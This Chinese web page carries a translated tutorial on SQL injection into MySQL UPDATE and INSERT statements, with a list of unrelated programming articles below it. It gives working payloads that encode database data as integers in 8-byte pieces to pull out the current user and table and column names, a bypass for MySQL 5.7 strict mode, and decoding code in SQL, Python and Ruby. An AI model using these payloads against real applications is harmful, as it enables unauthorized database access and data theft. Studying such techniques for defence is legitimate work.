百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT技术 > 正文

一种新的MySQL下Update、Insert注入方法

wptr33 2024-11-08 15:03 21 浏览

翻译:testvul_001

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


目前我们一般通过报错和时间盲注来对update和insert语句进行SQL注入,下面我们来讲解一种新的获取数据的方法。

首先我们来看一个简单的例子,假设应用会将username字段的结果会返回给我们:

1$query = "UPDATE users SET username = '$username' WHERE id = '$id';";

HTTP应用中的参数是这样的:

1

username=test&id=16

我最近研究的带内,带外攻击技巧刚好适用于这个场景,要理解我的技巧,我们可以先看下Mysql 是如何处理字符串的。在Mysql 中一个字符串等于 ‘0’,我们来看一下:

假如我们把字符串和数字相加,结果和0 加这个数字一样:

Mysql的这个属性给了我一些灵感,我们来看看BIGINT的最大值加上一个字符串会怎样?

结果是 ‘1.8446744073709552e19’,这表明字符串实际上作为八字节的DOUBEL类型来处理。

将一个DOUBLE类型和大数字相加会返回IEEE格式的值,为了解决这个问题我们可以使用OR。

现在我们得到了最大的64bit无符号的BIGINT值0xffffffffffffffff。我们需要注意通过OR获取数据时,这个值必须小于BIGINT(不能超过64bit)。

转换字符串为数字


为了获取数据我们可以将应用输出的字段转换为数字,然后再解码回来,如下步骤:

1String -> Hexadecimal -> Decimal

通过SQL,Python和Ruby等语言我们可以将数字转回字符串,如下:

1Decimal -> Hexadecimal -> String

如上面提到的,Mysql中的最大值为BIGINT,我们不能超过它,也就是说每次提取的字符串不能超过8位。

4702111234474983745可以被解码为AAAAAAAA,如果再加一个A,我们就不能正确解码了,因为返回的结果会是无符号的BIGINT值0xffffffffffffffff。

如果需要获取的数据超过8个字节,我们需要使用substr()方法来将数据分片。

1select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

n的取值为1、2、3…比如我们要获取的username长度超过8个字符,我们首先获取前八个字符,然后继续获取后面的8个直到得到NULL。

最后我们把user()函数获得的数据解码。

注入技巧


获取表名

1select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

获取列名

1select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

利用UPDATE语句

下面我们通过一个例子来说明如何利用更新语句。

实际的查询语句可能是这样的:

利用INSERT语句

原始SQL语句如下:

1insert into users values (17,'james', 'bond');

我们可以像update语句中一样获取数据:

1insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

MySQL 5.7中的限制


你可能注意到这种方法在MySQL 5.7.5之后的版本并不奏效。

通过研究MySQL 5.7发现Mysql服务器默认运行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默认的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我们不能将integer转换为string。

为了解决这个问题,我们需要在注入时一直使用一个integer类型,这样就不会有任何问题了。

另外任何用户都可以在他的会话里关闭‘Strict Mode’。

如果想设置影响所有客户端的全局属性需要SUPER权限。

开发者也可以使用‘IGNORE’关键字来忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。

解码Decoding


SQL

1select unhex(conv(value, 10, 16));

Python

1dec = lambda x:("%x"%x).decode('hex')

Ruby

12dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }

相关推荐

Linux高性能服务器设计

C10K和C10M计算机领域的很多技术都是需求推动的,上世纪90年代,由于互联网的飞速发展,网络服务器无法支撑快速增长的用户规模。1999年,DanKegel提出了著名的C10问题:一台服务器上同时...

独立游戏开发者常犯的十大错误

...

学C了一头雾水该咋办?

学C了一头雾水该怎么办?最简单的方法就是你再学一遍呗。俗话说熟能生巧,铁杵也能磨成针。但是一味的为学而学,这个好像没什么卵用。为什么学了还是一头雾水,重点就在这,找出为什么会这个样子?1、概念理解不深...

C++基础语法梳理:inline 内联函数!虚函数可以是内联函数吗?

上节我们分析了C++基础语法的const,static以及this指针,那么这节内容我们来看一下inline内联函数吧!inline内联函数...

C语言实战小游戏:井字棋(三子棋)大战!文内含有源码

井字棋是黑白棋的一种。井字棋是一种民间传统游戏,又叫九宫棋、圈圈叉叉、一条龙、三子旗等。将正方形对角线连起来,相对两边依次摆上三个双方棋子,只要将自己的三个棋子走成一条线,对方就算输了。但是,有很多时...

C++语言到底是不是C语言的超集之一

C与C++两个关系亲密的编程语言,它们本质上是两中语言,只是C++语言设计时要求尽可能的兼容C语言特性,因此C语言中99%以上的功能都可以使用C++完成。本文探讨那些存在于C语言中的特性,但是在C++...

在C++中,如何避免出现Bug?

C++中的主要问题之一是存在大量行为未定义或对程序员来说意外的构造。我们在使用静态分析器检查各种项目时经常会遇到这些问题。但正如我们所知,最佳做法是在编译阶段尽早检测错误。让我们来看看现代C++中的一...

ESL-通过事件控制FreeSWITCH

通过事件提供的最底层控制机制,允许我们有效地利用工具箱,适时选择使用其中的单个工具。FreeSWITCH是一个核心交换与混合矩阵,它周围有几十个模块提供各种功能特性。我们完全控制了所有的即时信息,这些...

物理老师教你学C++语言(中篇)

一、条件语句与实验判断...

C语言入门指南

当然!以下是关于C语言入门编程的基础介绍和入门建议,希望能帮你顺利起步:C语言入门指南...

C++选择结构,让程序自动进行决策

什么是选择结构?正常的程序都是从上至下顺序执行,这就是顺序结构...

C++特性使用建议

1.引用参数使用引用替代指针且所有不变的引用参数必须加上const。在C语言中,如果函数需要修改变量的值,参数必须为指针,如...

C++程序员学习Zig指南(中篇)

1.复合数据类型结构体与方法的对比C++类:...

研一自学C++啃得动吗?

研一自学C++啃得动吗?在开始前我有一些资料,是我根据网友给的问题精心整理了一份「C++的资料从专业入门到高级教程」,点个关注在评论区回复“888”之后私信回复“888”,全部无偿共享给大家!!!个人...

C++关键字介绍

下表列出了C++中的常用关键字,这些关键字不能作为变量名或其他标识符名称。1、autoC++11的auto用于表示变量的自动类型推断。即在声明变量的时候,根据变量初始值的类型自动为此变量选择匹配的...